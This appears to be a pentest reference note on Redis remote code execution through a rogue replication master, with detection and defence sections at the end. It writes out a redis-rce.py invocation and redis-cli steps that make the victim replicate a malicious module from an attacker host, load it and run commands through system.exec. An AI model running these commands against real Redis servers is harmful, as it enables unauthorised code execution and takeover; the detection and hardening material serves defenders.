Redis RCE via rogue server (replication)

A variant of Redis module loading that solves the "how do I upload the .so to the target?" problem without needing another write channel. In the classic MODULE LOAD technique you need a local path on the victim (a writable FTP, a web upload...). The rogue server uses Redis's own master-slave replication protocol to deliver the module.

The attacker spins up a fake Redis master and tells the victim SLAVEOF <attacker>. During the sync, the malicious master sends it the .so and leaves it written to disk; then MODULE LOAD is invoked over that file and a command such as system.exec is registered to run orders. Tools like redis-rce or redis-rogue-server automate the whole dance, including an interactive or reverse-shell option.

python3 redis-rce.py -r <ip> -p 6379 -L <lhost> -P 80 -f exp.so -a '<pass>'

The steps the tool automates can be run by hand with redis-cli (handy if the .so is already on disk):

redis-cli -h <ip> -a '<pass>' slaveof <lhost> 6379   # point the victim at our master
redis-cli -h <ip> -a '<pass>' MODULE LOAD /tmp/exp.so
redis-cli -h <ip> -a '<pass>' system.exec "id"
redis-cli -h <ip> -a '<pass>' slaveof no one          # clean up the slave state

Unlike the direct MODULE LOAD, it works against authenticated Redis if we know the password (-a), which is usually leaked from a redis.conf (requirepass) read by another route. Execution runs with the redis process's privileges.

Nuance. The .so must be compiled for the target's Redis branch (the module API changes between versions); exp.so covers the common 5.x/6.x, but against others the load may fail and a recompile is needed. Replication also leaves the instance in a slave state, so clean it up when done.

How to detect it. This variant's specific signature is a SLAVEOF/REPLICAOF pointing at an external IP in Redis's monitor/slowlog (a production instance never becomes the slave of an Internet host), followed by MODULE LOAD and system.exec. On the network, an outbound replication connection from the victim Redis to the attacker on 6379. On the host, redis-server writing a .so received via replication and spawning sh/bash as a child (auditd/Sysmon for Linux) closes the chain. It shares detection with module loading.

Defence. Bind Redis to 127.0.0.1, require strong requirepass/ACLs, disable dangerous commands (MODULE, SLAVEOF, CONFIG) with rename-command and do not expose 6379. Related to Redis module loading and Redis enumeration.